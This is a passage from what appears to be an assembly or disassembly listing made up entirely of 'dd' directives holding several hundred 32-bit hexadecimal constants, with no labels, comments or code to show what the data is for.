		dd 5C1788Ch, 20253E09h,	0DE3A0514h, 4F19D1D8h, 6BDF49A5h
		dd 605206E1h, 6D5FB6AEh, 6BA50B30h, 1F359835h, 0D37510F7h
		dd 6AA7F14Ah, 32B914B4h, 0DA16581Eh, 0EDF16BCAh, 181944A6h
		dd 0DA34666Fh, 869F56A7h, 0ED96512Dh, 0E986EF42h, 585CC9AFh
		dd 0D0C61737h, 41DDF9D0h, 0E86E5A07h, 0E6F34EF2h, 477A6D25h
		dd 0E834FD98h, 0EE80EF7Ah, 0D05B7B58h, 0C22093B1h, 0CD0C5D66h
		dd 9FB23829h, 0FC10AC49h, 16B576CAh, 0B1CB2793h, 0E309F35Eh
		dd 0D3B66327h, 6A443DBEh, 87B0EA9Fh, 6DD044C2h,	0D98E310Ah
		dd 11B105BEh, 530C8240h, 81170093h, 0AE3578E7h,	0E8B0475Eh
		dd 0E23112E5h, 31E17D9Bh, 0DFC72EA2h, 6055010Ah, 61649DCh
		dd 15BFB81Dh, 1003DA0Ch, 0FDB440CAh, 0ED089262h, 768C0249h
		dd 733BC303h, 3CBE4028h, 1B19DE64h, 87DEA06h, 3310E420h
		dd 2520CA04h, 0A82008CEh, 5DD82075h, 206F6020h,	0C4318BB2h
		dd 0E1B43867h, 880A1401h, 8984F10h, 203F5EA2h, 0D4103366h
		dd 4ECF008h, 2106F27Ah,	4F40E18Ah, 862621Ah, 7602E5ABh
		dd 0F07B02DCh, 317F1303h, 5E813930h, 76089530h,	5CC71080h
		dd 10823110h, 0B418993Eh, 6C8A1061h, 3C3008C4h,	20C3C406h
		dd 8E8A531h, 188C2432h,	0F6085633h, 0D318C062h,	35050253h
		dd 6D27902h, 6E3111D1h,	1451088Ch, 90063D12h, 0EE893781h
		dd 189EE608h, 19817CF0h, 0B3AEB851h, 2B09B01h, 86F4A3C4h
		dd 8E29206Bh, 7AE9BC66h, 883F3141h, 3A3A928h, 22416C81h
		dd 87406818h, 103F65D4h, 0C6C04670h, 0FA201045h, 0EE9208Ah
		dd 20E25320h, 2931931Bh, 25990880h, 9CB94E01h, 873CE20h
		dd 0E2491B57h, 0AAEB0874h, 8D281818h, 81B54C08h, 332043FCh
		dd 0DED30819h, 7B010789h, 984901E7h, 9F728D01h,	32E07508h
		dd 0FF20A67Fh, 62130848h
		dd 94AC18C4h, 6FB1A04h,	31089742h, 2F206503h, 395B01EDh
		dd 1F7A108Ch, 0D7641108h, 0EA1CE351h, 6F3A20E0h, 18C986EEh
		dd 2D5422F9h, 0EBDA0275h, 0DC4CF305h, 0A85F4173h, 0C492138Ch
		dd 6DB4328h, 40F12D6Ch,	8949CA79h, 201120C4h, 5D20209Eh
		dd 99036F7Ch, 0C21089CCh, 40F6D540h, 6A6EC802h,	841290D1h
		dd 0F490516Eh, 0F559BC31h, 1C1092C9h, 0B018884Ah, 6D89A199h
		dd 63C0D188h, 8BC4608h,	4208B262h, 570409A3h, 6608024h
		dd 26104E18h, 991488C8h, 52811866h, 106A2B80h, 2018E78Ch
		dd 40F89040h, 0C56601ECh, 63992208h, 4C641123h,	8046302Ah
		dd 37177A20h, 74087BFAh, 33C0458h, 285B4F06h, 0F3B49754h
		dd 3608AE62h, 9C6000CAh, 0A499E8FCh, 0CF19402Dh, 8B1EC746h
		dd 0E7468EC7h, 3B001043h, 2752C47h, 0C68913EBh,	3DA7B90Eh
		dd 10005F4h, 49408F44h,	1775C90Bh, 1D748BF7h, 3DE0413h
		dd 0DA4AEF0h, 0CC07833h, 304FB10Fh, 405AC2Ch, 92B5516Ch
		dd 74E9CF90h, 0DBBF8021h, 257CABEAh, 200464B5h,	619817D6h
		dd 8742C303h, 0E9F82144h, 6A8E3BA0h, 17E4FC88h,	2D9F46Dh
		dd 0EBD7D98Bh, 0B377772Fh, 0A15E1BFDh, 0FB84D4ADh, 0BE563068h
		dd 0B74D0208h, 0C327E918h, 88415456h, 62EC50CFh, 293B9D3Eh
		dd 0AD2EC0D9h, 1290B16h, 7239E0B8h, 277EF660h, 0CDB0151h
		dd 8273FC26h, 403259D8h, 0B4505266h, 0ACB86D73h, 12728820h
		dd 0ED8435E9h, 0D012DC27h, 0A41ACCBAh, 3FA62070h, 0BCBE8C3h
		dd 0B99C02E0h, 195E7CDBh, 0BC20D17Eh, 0A4229517h, 0CF691606h
		dd 80CB0C37h, 7C06E0EBh, 82E9C1C7h, 7BDFB4Ch, 52727529h
		dd 2DD561BEh, 0F8063BE6h, 52490ACh, 4D44E305h, 7D3AEC4Bh
		dd 0C6496C2Dh, 270E9658h, 0DAE2B3DCh, 0D5AE0EFEh, 5F70AAB7h
		dd 97F6C3B4h, 813F5FC1h, 1F83CDEDh, 0EDD8389Dh,	0FD9F17AFh
		dd 583DE839h, 71CA05D9h, 0C5C256B2h, 5BCF8050h,	97FEF580h
		dd 4B042403h, 0D32CC8A9h, 0E4CD9AB3h, 745F0624h, 8EC664E8h
		dd 0C704756Bh, 638A7EB2h, 198ED4EEh, 0EC741C08h, 5B4A0C20h
		dd 0F1A54929h, 9BA4FFA3h, 54514B80h, 39FE594Bh,	12D2ACBh
		dd 7CF442Eh, 447C1452h,	0E65ED1BDh, 65A7A820h, 10A76CBh
		dd 0F1E853F6h, 3FF5297Ch, 33971D01h, 7A824B69h,	13E83531h
		dd 0CA2A6855h, 4059BFDEh, 0C062399Fh, 0A4B850C8h, 25E4806Ah
		dd 0AC1C7F00h, 47BB5316h, 0B5EC2595h, 2D12D254h, 1CAE4BAAh
		dd 973834DDh, 52C26A76h, 9A187FDBh, 7F8B317Ah, 7EB60220h
		dd 12BCCE9h, 0E4C74849h, 0E4F66F02h, 312C92EDh,	1190CDEEh
		dd 3C7B19E2h, 32B38655h, 44E3A042h, 34743D2Eh, 6E4241FAh
		dd 4B7178D8h, 1092A3DEh, 8107065Ch, 244C55C5h, 15418069h
		dd 5D02DD36h, 49A9E95Eh, 0BCC6401h, 3E2F6AFDh, 0DBDBA361h
		dd 2BC24103h, 0EB75BC4Fh, 82AC7EAh, 0C1E4224h, 79B057E7h
		dd 3DC18C71h, 887364C6h, 6BCF807Ah, 87BDDC7Ch, 0DB0C8BD7h
		dd 0B211E14h, 0F7E0CE48h, 1EFF4A10h, 445193F6h,	81AD66A3h
		dd 0AD92CE93h, 755E9210h, 4ED91C0Bh, 81945725h,	76F2C920h
		dd 9F1245Ch, 38CF6F15h,	8556105Ah, 97DD66C9h, 0B120A5F0h
		dd 2463F81Dh, 4C603Fh, 404E49C7h, 8328E93Ah, 0EC958612h
		dd 7C6A273Fh, 0F020C769h, 11FDFF7h, 878E52FBh, 88AFD211h
		dd 7F3D2D23h, 1444BE5Eh, 4F0705C8h, 6CA63CF9h, 72CA819Fh
		dd 0EC2E282Ch, 47B304CBh, 0F3822529h, 5E0785EBh, 3FB18BEBh
		dd 7D1392E6h, 2A1CB400h, 4A31AB19h, 0C32FA1CBh,	2958E8C8h
		dd 8698D05Fh, 0FFFFA206h, 6755323Ah, 0FF5C92DBh, 66996020h
		dd 4A1F7648h, 2F5DB05Ah, 0E60DD709h, 48BCD631h,	0B53B0A92h
		dd 0C24342DDh, 0E8A17709h, 808A32CFh, 0D219C340h, 60890E2Ah
		dd 0BCE1F4D9h, 744B8F1Ch, 0A0A442AAh, 0CE413370h, 0CBA0EA57h
		dd 0C01282E6h, 0EE1F1376h, 26D730F5h, 0EAD46DA1h, 0BA28C04Fh
		dd 68AC4E35h, 9BD50BFh,	71A1355h, 5B66A4F7h, 0C0BA294h
		dd 2FDB5A5Ah, 3FDEED79h, 985BDE50h, 11B20B52h, 17D87AAFh
		dd 50FE914h, 58880117h,	0DD010EC8h, 0FE506097h,	0EB78E829h
		dd 0AA94B784h, 60BF81E4h, 0C7C5E175h, 737BC30Ch, 94D25924h
		dd 0C40280B4h, 80B56E0Dh, 32F6CF8Fh, 0AD304E97h, 99058ACh
		dd 142126h, 6BE3E174h, 0DE0E9522h, 398C66Ah, 328D0AC1h
		dd 2E0380B7h, 0BD937F55h, 0B363A08Ch, 4F88A0FDh, 5AF9BD51h
		dd 0AC3DF9C9h, 0A77A2C56h, 5319DBF6h, 580319E2h, 175DAE06h
		dd 0C9C7D10h, 374D274Eh, 7B1944B4h, 6C60AFCh, 0EC04F7FCh
		dd 0C4125A10h, 0B82283C2h, 3F9048h, 0D6F629B6h,	0E2C0C680h
		dd 0E9030CE6h, 0B96A9D94h, 55C3680Fh, 7DF746A5h, 3580415h
		dd 0EA09672Dh, 6C285241h, 0B7401042h, 98975D85h, 4F509596h
		dd 565A0880h, 91049BB8h, 5B69AA1Fh, 3198C0ABh, 60486ACh
		dd 30E9DE89h, 8AC1D7FEh, 25A38884h, 63A7DE2Dh, 0C0501981h
		dd 711209FCh, 6500260Ch, 61DA0A18h, 501E25E9h, 6A623AD4h
		dd 0F42D2F9h, 50A57C5Ch, 0BB79DD64h, 84EDA9DDh,	0BEF4842Eh
		dd 0E98321A6h, 161D7AF6h, 0BBCBC209h, 0C0EE94B5h, 0C978056Ch
		dd 0F7510158h, 850804D5h, 8838A5DDh, 4EC3478Ah,	81744BC4h
		dd 25F45AC4h, 10C0621Eh, 0AC4EFA1Ah, 35FB31B3h,	0D93A02C2h
		dd 0B49EFC13h, 65E912D7h, 0EFAA089Fh, 0C979DC2Dh, 41426C2Bh
		dd 0AC4D1555h, 6B406771h, 7580F551h, 0E9416178h, 0D3335110h
		dd 0C08BB72Eh, 9E685753h, 1A452407h, 39041BBAh,	9471BDB0h
		dd 6BF43D7Bh, 1B58E388h, 8E76866h, 2AB2790Eh, 3A1AADE9h
		dd 2AD9DF7Ch, 0A1F97DADh, 896AF971h, 8BAD607Fh,	2DC440h
		dd 74800CBFh, 915EC0Dh,	68512705h, 0F3B36F83h, 0D04E8712h
		dd 5B29C1EFh, 51EE1B1Eh, 8BFC5917h, 6171FBB0h, 0C0E93F15h
		dd 4AC4AF0h, 1F1C772Ch,	3291082Dh, 7215C13h, 0EB05EC50h
		dd 94A9D713h, 1FEAC280h, 0E914146Eh, 25812AD0h,	22325D31h
		dd 0E93418F5h, 0EDB64A16h, 5BEBB305h, 30EEFCB5h, 81020607h
		dd 140409F3h, 895DA8E0h, 55897570h, 12576028h, 0EE881C5Ah
		dd 50624070h, 213E2B1Fh, 407DAFD3h, 249141AEh, 1264D8F7h
		dd 0C155313Bh, 3D0560EAh, 9CA0269h, 5C838598h, 1A02CEEAh
		dd 54BEC520h, 25E90457h, 174FAB8h, 2E58F580h, 49E9E270h
		dd 0F6038135h, 0FFC280DAh, 0E7296210h, 0F5285A0Fh, 0EA60ED84h
		dd 69327B2h, 9C08DACAh,	9D325876h, 0C32118DFh, 0EC80260Ch
		dd 225C79F0h, 0E3BAC407h, 830BEBE8h, 0A07D01EAh, 41670EF7h
		dd 8E564866h, 0B40D2704h, 0E9B3AE53h, 0A0CDC70Bh, 7D698CD7h
		dd 31114062h, 0D8C6CBFBh, 7814A720h, 83A92655h,	0F7F68B72h
		dd 6F4791DCh, 31C4D4E1h, 0B02F5261h, 999A4E83h,	0EF18013h
		dd 2728C408h, 7C624CF4h, 2F854C0Bh, 0DA7E3FCDh,	0E2CF169h
		dd 384BCF88h, 0D00C2B5Bh, 0CBF308Eh, 75A3166h, 540BBA6h
		dd 5F57C433h, 9B900D5h,	984B6349h, 3B2C740Dh, 0F10211BCh
		dd 23DE13E5h, 6EED1861h, 7F345BCAh, 46CCBEEFh, 836984C5h
		dd 0B7675F0Ch, 0A9B86F96h, 2529BD2Ah, 0FC0935A8h, 452AE6F0h
		dd 0F82F85A0h, 2EF6E55Fh, 4334054Ah, 0EFE4286Eh, 28840CA2h
		dd 68ADF05Bh, 0D34B9B2Fh, 0A1A965AEh, 2FB62F2Dh, 0D02D6912h
		dd 0EA48CFBBh, 0EE9B56C5h, 24418ABFh, 0E00B6BBBh, 0E9C9A2BFh
		dd 9EE559D5h, 5704954h,	5887E048h, 2907901Dh, 820DEACh
		dd 0BC80E917h, 10F85756h
		dd 16CA6679h, 0FAB78C37h, 54640820h, 52023BFBh,	8227906Bh
		dd 0BBB7FF9h, 4C2D5CDBh, 0E9F80C38h, 250E2D43h,	8E4FB40Fh
		dd 23A64C4Bh, 0E616A268h, 212D05D2h, 0AE7BAB66h, 717F384h
		dd 683B2CEBh, 2C2F3A20h, 60C890E9h, 18A13D9Dh, 3401F6ECh
		dd 0E9473098h, 0FF38E067h, 512BF91h, 8548F602h,	87173A47h
		dd 0A99AA8F9h, 427D861h, 0EC5FECBCh, 44A8F5BEh,	1303D82h
		dd 0F7819B64h, 0DB4E4F8h, 96E58102h, 0C068A829h, 2FE3CFDDh
		dd 1A583CA2h, 451B2D1Eh, 0F00A4BDEh, 0B260705h,	24A85A08h
		dd 0F15017CCh, 77E07E06h, 97050407h, 0EBFE8710h, 76E949C0h
		dd 0B77CB21Eh, 0FB347EC8h, 1D41895h, 4B3E9A58h,	3BDFCA56h
		dd 0F9CD825Eh, 5E265A47h, 9CAD8CACh, 1C09F3F7h,	1016E248h
		dd 0BD0B434Fh, 6B3A7618h, 5D7E3476h, 0E320AE2Ah, 1C30E00Fh
		dd 86364413h, 71E78003h, 0C257C799h, 6C5E2541h,	0CFD55237h
		dd 25F9E953h, 81D8BFC2h, 0F41F17B7h, 0B0110922h, 0C436E2B1h
		dd 0C0971050h, 97D829DDh, 80BE7971h, 4A407568h,	1E355826h
		dd 7F215A3Bh, 0FD5FC7BCh, 2908D320h, 8D232D14h,	0DB2774D3h
		dd 0BC345159h, 5D057615h, 774E2E78h, 28D42FF6h,	44D76E42h
		dd 653502A6h, 0FB295372h, 21CBF361h, 0B0533h, 8A6F3F33h
		dd 829F597Fh, 0DD9B3CFFh, 152E6E07h, 0C9D90014h, 46CA4C93h
		dd 0F7092C9Ch, 0A8C881D1h, 30ED13h, 0D44E4EE3h,	0F6F28308h
		dd 14E5A53Fh, 0DFE1DE20h, 0AE568ECBh, 7CC59F34h, 0DABA0147h
		dd 775C27D3h, 285E881Ah, 17DC4795h, 2535BDDCh, 60D12FFAh
		dd 79C2B95Ah, 28265878h, 573C4106h, 0B50FD818h,	58EC4038h
		dd 4B0CCD1Ah, 0D7F7A1EFh, 0F28DABB5h, 0E926982Fh, 0B5B69A20h
		dd 0D5C1BB81h, 700CD95Dh, 318025AFh, 8576974Ch,	2F204770h
		dd 3205DBE9h, 0E997AF91h, 0D264D3A0h, 9354C133h, 6D3CDF05h
		dd 173A100Bh, 5AB7530Ch, 0B2023406h, 5BFA30FFh,	7A070B28h
		dd 0A6EA34C9h, 0B3530F11h, 6DC3E021h, 0E05BDD88h, 38E917EAh
		dd 507D4062h, 0BE18F0B8h, 0DD280D7Ch, 5695D748h, 4FA4CF32h
		dd 0D9F70380h, 4EB0C341h, 172CEA28h, 0C7AA5D5Dh, 0DA18E125h
		dd 88D43EEh, 0D697F397h, 0E9B0DDECh, 3DFF0A09h,	0CBE85BBDh
		dd 242C55E1h, 720053F3h, 80BD4027h, 9DD8D2B8h, 0C24D3BC0h
		dd 5985D3BCh, 0EEA8DA7Fh, 0BDFD004Ah, 3546799Eh, 536C49Fh
		dd 47C26F30h, 4E07FE4Dh, 174F7B5h, 52936802h, 17A63CD1h
		dd 5E02AC48h, 0C23A350Eh, 0F69416AEh, 3E43BFCBh, 0E92C0FE0h
		dd 1053F02Dh, 975F5AE3h, 0A482C442h, 1E0B0A5Dh,	4E48901Dh
		dd 8E20FB3Dh, 0CC0F4BE9h, 5AEC5F32h, 0A16B9B00h, 272CFF2Dh
		dd 25E91750h, 0DA4C4517h, 0AD1E2240h, 0C302A372h, 0EC216115h
		dd 7FE15D09h, 7BBB60F7h, 2DE77C18h, 340B3BE8h, 0C11A526Ah
		dd 4048062Dh, 7A350706h, 5F27E512h, 41EB2DC4h, 0DD762A62h
		dd 2976E65Eh, 0C66828C2h, 691AF0C3h, 0A678E559h, 7500234Fh
		dd 4549E12Dh, 69B69164h, 9CE9D6B0h, 7F169F69h, 8BB50FECh
		dd 642EBA4Eh, 11641275h, 859FE801h, 72966EDEh, 29599512h
		dd 0D0A531E8h, 545D31Dh, 29276EFh, 77478A13h, 38C13040h
		dd 48A83A58h, 0F95F0146h, 0A2E905C2h, 0C1037679h, 52BBFBCBh
		dd 9D7E6DAh, 0C2145D91h, 0A9C1C227h, 0D2FC63B3h, 90ABF07Dh
		dd 1E7724A4h, 492B9FEDh, 4C55FC52h, 5AD4F685h, 86BBA92Ah
		dd 9FD13735h, 0EA4891D8h, 673B10E4h, 5037B180h,	0C01A58B4h
		dd 0FD0607ECh, 2F7BB3E1h, 5BD934F4h, 3B5AC98Ah,	881399B9h
		dd 59BBE3E5h, 0B968989Fh, 0C8E91A1Bh, 0E85DBA31h, 80F18299h
		dd 770BE781h, 0F5172A1Ch, 0F94A9981h, 291C7014h, 0B4C0CEB5h
		dd 80FD6956h, 55022275h, 0F7811D2Bh, 4418CFBh, 1605330Ch
		dd 0EAE963C3h, 5954DF44h, 805DD583h, 7C8307E4h,	0A87BBFC5h
		dd 529DCBFh, 576C07DEh,	0C8F4D3AEh, 1A0AFA8h, 95A478B5h
		dd 52DB5Eh, 0F42534F2h,	0F101243Ah, 0EA08208Fh,	86206FB4h
		dd 2909F260h, 0CEC07FA2h, 9E2F6B57h, 4F9225E9h,	4D13A473h
		dd 405DAE82h, 270E8437h, 0D1781946h, 0CDD463B7h, 0C12B19F1h
		dd 0FE37FEE3h, 2FAC6EDFh, 7DE25AD5h, 54E7FA54h,	399005C4h
		dd 0B5454168h, 2269C759h, 0F5C75C9Fh, 8830264h,	0B8EED824h
		dd 2F0FBC3h, 36FABA10h,	487F2FE2h, 4C6C46A0h, 0EA151C80h
		dd 0B996BC02h, 0B0C20345h, 0D5AFFE5Dh, 54C52092h, 0F576B50Bh
		dd 85FC4517h, 4F63BC2Ah, 5A6F19E0h, 0CC76C988h,	0AF3C2DC8h
		dd 5110130h, 6DAA1315h,	0B28AB83Ah, 39F77897h, 0E50AEDD1h
		dd 0A8AC7868h, 2A2741BFh, 0C8B86D0Bh, 12E8C312h, 0C4066B1Eh
		dd 21CB01A0h, 249303E9h, 38D7BEE1h, 0A12A44FEh,	2ECDEADAh
		dd 0DAFA8205h, 2D45588Ch, 88DBD912h, 5700EFEAh,	0E8D0AF68h
		dd 0A85F5B6Eh, 0F2210A1Fh, 8400B25Eh, 6851F63Bh, 200E5476h
		dd 75BC1FB8h, 0AE002F34h, 3110D832h, 587D699Dh,	0CB46520h
		dd 29789901h, 0E248C150h, 42821043h, 3DCFB650h,	0F9123BFCh
		dd 0B11631F2h, 3C1F30E6h, 22E13026h, 0D5251124h, 3301DB87h
		dd 0F1B00FC9h, 0C83988CFh, 474E359h, 0F7C392FDh, 51A2B9E3h
		dd 2A1775E3h, 7516DBEBh, 0E72FD7E1h, 7E127B32h,	8FFB011Ah
		dd 0E9510740h, 0D70927BCh, 0D92DC867h, 5102C296h, 9762C154h
		dd 0CFC65552h, 13EEA12h, 0EEB56ABCh, 8B6414D9h,	22692FE9h
		dd 1B90CDD2h, 0D45C4B71h, 2E8E12D2h, 875E00D2h,	22B61EEBh
		dd 0F20100B5h, 3D5DEA81h, 68FA3613h, 3BF32859h,	0D5314A84h
		dd 0AE04C315h, 0C050E086h, 816BA0C8h, 9E2E20EFh, 0FA03C938h
		dd 0E4CF4E9h, 1404E8B1h, 0E1511E49h, 2C38089h, 0B05EF780h
		dd 50FE30F0h, 0E623E7C1h, 60767E9h, 7B125294h, 0F2539E5Eh
		dd 534D830h, 60167F05h,	5F71AE06h, 5000B7FCh, 0FE398DB0h
		dd 8C030C8h, 0B528652Ch, 0A2820DBh, 0BAE7B198h,	0C736E6A4h
		dd 8E60E533h, 0B5B86754h, 0B72B72C5h, 98856C5Dh, 28B22BA6h
		dd 6F050257h, 0D061B85Bh, 0B4056CD8h, 8829100Bh, 4826FEE4h
		dd 0FD3E4B73h, 0B0ED4CD3h, 82010D99h, 44968370h, 0EFC40269h
		dd 68730913h, 0A09D559Fh, 0CE0FEEAh, 9DECEC9Dh,	2D42B4F1h
		dd 0A62D4BFFh, 0BC5F5B86h, 0CF327DFFh, 60B81A1Ah, 2851A86Fh
		dd 4B514431h, 0C11EC0AAh, 810305E1h, 0AD53E2C9h, 4B900445h
		dd 0EE0B3B36h, 15FB93E0h, 0EB524774h, 0B0B15E2Fh, 0BA1045F6h
		dd 0F7428ACCh, 0E9D55C03h, 17CB401Bh, 0C1BE5D40h, 0F703D0D0h
		dd 0E36860D6h, 564E65BAh, 450A39BBh, 5A9CBC7Ah,	167299ACh
		dd 1E15FFDh, 8307FF5h, 0B0CDF07Dh, 73530916h, 2C972401h
		dd 0F5F06286h, 0DF151335h, 0E017AE12h, 170A07C6h, 0E20E0A18h
		dd 0CABA9242h, 28E93DBDh, 801CD136h, 0F22748C5h, 0F8F45F93h
		dd 0E457C456h, 50C39BAEh, 0CF44F263h, 0AC585EC7h, 80207BD6h
		dd 25B907A1h, 0A2609829h, 29E80553h, 240659EEh,	0F7560C15h
		dd 0DC5E4C6Ch, 0D7C2E17Ah, 0BA3242CDh, 752CCAA5h, 0C15DCA98h
		dd 0BB03E528h, 0F95B9D0Fh, 33E62F2Fh, 0D18393BAh, 29D58DC8h
		dd 0FA37F54Eh, 0B80596EFh, 81C078B1h, 4E104F41h, 0A10AB3Bh
		dd 141C6808h, 933F5B24h, 0E1A49FD0h, 95751E5Eh,	9831CC69h
		dd 0E6F84E16h, 781F240Ah, 72CF542h, 0E9270401h,	0E034D2FDh
		dd 656245B3h, 104B6270h, 0F71B4A72h, 83D3E5D2h,	0BD0CF872h
		dd 941F2B82h, 1DA713F5h, 0A4C61DAAh, 97529D57h,	0BE35801Ah
		dd 0A43D3688h, 0AF561702h
		dd 609139AEh, 6605F0D7h, 49417A97h, 4FA4FC2h, 37C9FF58h
		dd 14F74770h, 9077F61Eh, 0D4D83771h, 2AF4F928h,	1AE42D9Fh
		dd 9C2F5C79h, 4C0E7AAAh, 0DA2979C9h, 0CB082384h, 8D120259h
		dd 140883Fh, 8F74E901h,	1CD53EA5h, 0EBAF200Eh, 1EED6826h
		dd 0F4BE5DA5h, 18B25BBDh, 630543D5h, 4BC81C01h,	0E4748C2Dh
		dd 0F9E86F20h, 11CA0747h, 0F3685D04h, 34E984E0h, 0BF0ABE8Dh
		dd 0C95ABEC3h, 0F85144BAh, 0F53C20D0h, 32C08ADFh, 185184D5h
		dd 3D6DC24Eh, 99FD17EAh, 463ED746h, 0A2FC0EFFh,	82DFBF28h
		dd 0DB04675Fh, 0B452CD68h, 774FF379h, 74A76BFCh, 82860D47h
		dd 5F55A088h, 23A05B16h, 0DF455802h, 1916FB3Fh,	3412977h
		dd 0D8CD76C5h, 62E3B035h, 6AD71600h, 2EB739AEh,	3C6EA9A1h
		dd 1427E9E6h, 0B2844427h, 9753E42h, 4898733Fh, 5CB351Bh
		dd 0DA21712h, 825ABC0h,	892F1795h, 0C9BD64F9h, 2739D00Eh
		dd 3972C92Ch, 5841070Fh, 0F2E8C5B5h, 0D0224BA8h, 0EDC14DFAh
		dd 7E6F0648h, 8226C9BBh, 99FE1EAFh, 0EC5292A4h,	0C6E9C277h
		dd 0E22D0038h, 5B4AFC0Dh, 8A28D81h, 0BEE67DD6h,	97DCD12Ah
		dd 4904F0B7h, 302C0FAAh, 66D3BE2h, 0CCB06B0Dh, 0A6419Dh
		dd 7A426382h, 0BDDC7354h, 7B29940h, 66D53038h, 7AFE495Ah
		dd 162E985h, 0B8EA0190h, 3A0EBD28h, 8B45A9B3h, 784EE205h
		dd 0EAF42D07h, 0E27F9709h, 53A354E0h, 0EEF93A5Eh, 72950992h
		dd 25C41C7Dh, 22EE478Bh, 984E50F6h, 45B2DE90h, 7624C77h
		dd 0AB3F4305h, 21EFD7Eh, 4A805860h, 734D6041h, 0AEA910F9h
		dd 6CDB3A29h, 261238E0h, 9DF0565Dh, 2E42CDBAh, 80F4044h
		dd 40627268h, 1A34691h,	6052D828h, 84409770h, 1682855h
		dd 180D205Ch, 4FC45F4Bh, 0CE4155B7h, 5FA1E9D2h,	0F910EB32h
		dd 308C4580h, 669F1FB7h, 17590234h, 0EE29491Eh,	0A7873875h
		dd 5E201242h, 0F501C343h, 0D9E911E8h, 7CB74A5Fh, 0E2405324h
		dd 0BD004E88h, 58C70C84h, 8E0A1D20h, 13854460h,	4009FFD5h
		dd 314F5D01h, 4DF3318Eh, 7B6508DEh, 9D01D330h, 0B55CCA54h
		dd 2C5C6DD8h, 18E81237h, 8B6A6FC9h, 507E0780h, 0CBC05CB0h
		dd 0B9DB4CE9h, 0A5E226A9h, 0DC8C86FCh, 0F0561ACDh, 7D5DE6CEh
		dd 5B54975Eh, 0DD28E985h, 7AF44EAh, 0F7D0EA4Ah,	2D162BCAh
		dd 9474123Bh, 3FFAE404h, 0C41443F1h, 56EDA8C2h,	32D727FCh
		dd 0A275444h, 69ECDC81h, 0AE3DA974h, 68898DF0h,	5DCCB24Ah
		dd 769FD34Eh, 58FC52A5h, 0A048600Bh, 0B012DAA3h, 0F172BD34h
		dd 3261802h, 4B71E90Fh,	0FD61FA22h, 42DC6EA2h, 990E780Ah
		dd 0C2D2C2Eh, 31E1089h,	23B00B64h, 0A6C98A51h, 2BFA08A0h
		dd 0F6ECF24Fh, 204B099Eh, 35241059h, 8F7E3C02h,	0F104028h
		dd 6532250Ah, 0C512B25Eh, 3A2B9DEBh, 32FC7713h,	0E878E9C4h
		dd 0DB8058Dh, 4381B776h, 3D966D42h, 0FD1E95EBh,	0BB6868Fh
		dd 2AF9C8Ah, 267F5EA4h,	807700Dh, 42C171B9h, 9A56C3E9h
		dd 8828B100h, 7CB459CEh, 90702CCDh, 0A8FAA77Eh,	84ADBC1Ch
		dd 7618187Fh, 7F2C393h,	0FF6FE134h, 9FCED233h, 0CA7BCE5Eh
		dd 0CB96D7EBh, 211FE909h, 976C4601h, 7F42AD0Bh,	2730E775h
		dd 3D421C71h, 236606E7h, 180A2AE9h, 68840902h, 7EF956B1h
		dd 1379BC4Eh, 1DEA0901h, 1CF75950h, 609F71C6h, 1361350Fh
		dd 7968EE0Ah, 0D9CE01F8h, 0F853101Bh, 8175ABBh,	0BEFD31E9h
		dd 35DEF12h, 55FF2D20h,	283E819Fh, 3A90E842h, 0E92C1F0Bh
		dd 0BBF140E1h, 8564385Dh, 3988BF02h, 14E16B26h,	0D35507A9h
		dd 0EEF8D0FFh, 613719B9h, 0DDD38416h, 99ABAC28h, 4FC27E0Fh
		dd 0E5D06Bh, 0B860ACBEh, 0D3CE816Eh, 4E060B17h,	4035108h
		dd 0EA5EF231h, 5F016A85h, 3D9D128Dh, 0AFA4133Fh, 400B4150h
		dd 4205EBD9h, 26E94058h, 250D3A0h, 3AA66851h, 0B66627C7h
		dd 49C07E99h, 0F6A5B850h, 0D87150F6h, 0B79BBABFh, 0E90BD1C7h
		dd 77F2C28Ah, 0D0719362h, 885F0849h, 0EFA34027h, 0E7810007h
		dd 39C76D80h, 3324E957h, 9482A8DFh, 7F2CD20Ch, 0FA9A0C43h
		dd 0B028EC2h, 0CE55EA29h, 74892EFCh, 245EAD7Eh,	6F680104h
		dd 2482A0C5h, 8E00D793h, 2E254A2Dh, 3520224Bh, 2557F068h
		dd 4E221E7Ch, 35266ECh,	9520E120h, 0AB008972h, 8123755Ch
		dd 25A359C2h, 74C2DC8Ah, 2F5F88B0h, 56823799h, 68178768h
		dd 80371CA4h, 0B959E954h, 5BDF4C58h, 1BF588Ch, 56270417h
		dd 0D1E9F909h, 5BAC94ECh, 0DD6628AFh, 47844D60h, 0B7690D0Bh
		dd 0D4F91184h, 7EC8FDD2h, 74031412h, 0E9DE88FBh, 5CDA632Dh
		dd 5985D088h, 6834E691h, 0FA136EB2h, 7120AFFCh,	0B334C668h
		dd 2E7439FDh, 8394772h,	5717F0E8h, 0FD4AF6CAh, 0AB1185E8h
		dd 2636FB41h, 1A603B7Dh, 0EF28801Ah, 5D70F8EEh,	273D9F93h
		dd 53BE008h, 0E2AF9C02h, 0C9F22898h, 0AD7BA438h, 78230942h
		dd 0D50A827Bh, 0CB27836Ch, 0CB9ED6A8h, 965A43F6h, 4192B098h
		dd 0A2410513h, 0B8B3827Ah, 1FFFC1FEh, 0BD0B006Fh, 30133819h
		dd 0D24EF3F4h, 40B1AF90h, 5A747BD4h, 3A9DE5DEh,	644BD7E0h
		dd 0AFEE877Ah, 4D27FC80h, 0BEC9832h, 0F9CE1A76h, 0E9E2FFDCh
		dd 4837C875h, 456A092Dh, 26585135h, 0BCEF7AB0h,	5DD10179h
		dd 415A3024h, 9503B4F4h, 2ADE0312h, 0B780CF92h,	2E7FD4BEh
		dd 17A0121Dh, 4A41AB5Eh, 59C60A82h, 0E07D0C83h,	922DE607h
		dd 5CCFFC5Bh, 8E685C0Bh, 579E9A4Dh, 0E762360h, 0DBBE78D2h
		dd 3A924E72h, 0E4A12E01h, 6029DC53h, 0F197A490h, 1457EB2Fh
		dd 18D027D6h, 3B527019h, 221FA725h, 0CA91712Fh,	0D21C4225h
		dd 2D7945DFh, 9F071670h, 0E94DB743h, 0BA7BC07Bh, 2D5F1E62h
		dd 505E8946h, 0E700B3A9h, 40964D6Bh, 8200EB9h, 0D2845E4Fh
		dd 50063F3h, 1E446A67h,	0E34E8FE9h, 2D8029A2h, 7C36103Fh
		dd 0E2B60090h, 4BC9E978h, 0B55C4222h, 1640A30Bh, 3ABDEBB7h
		dd 1C95058Bh, 7C2C8AAEh, 18B9FC33h, 6025B1ACh, 0D85F0C93h
		dd 0EC4BE752h, 0DC50E8F2h, 2A236550h, 497D8346h, 0A968951Dh
		dd 0B760A664h, 19EFC09Fh, 0AC7FE08h, 0CEE7E103h, 4C23B61h
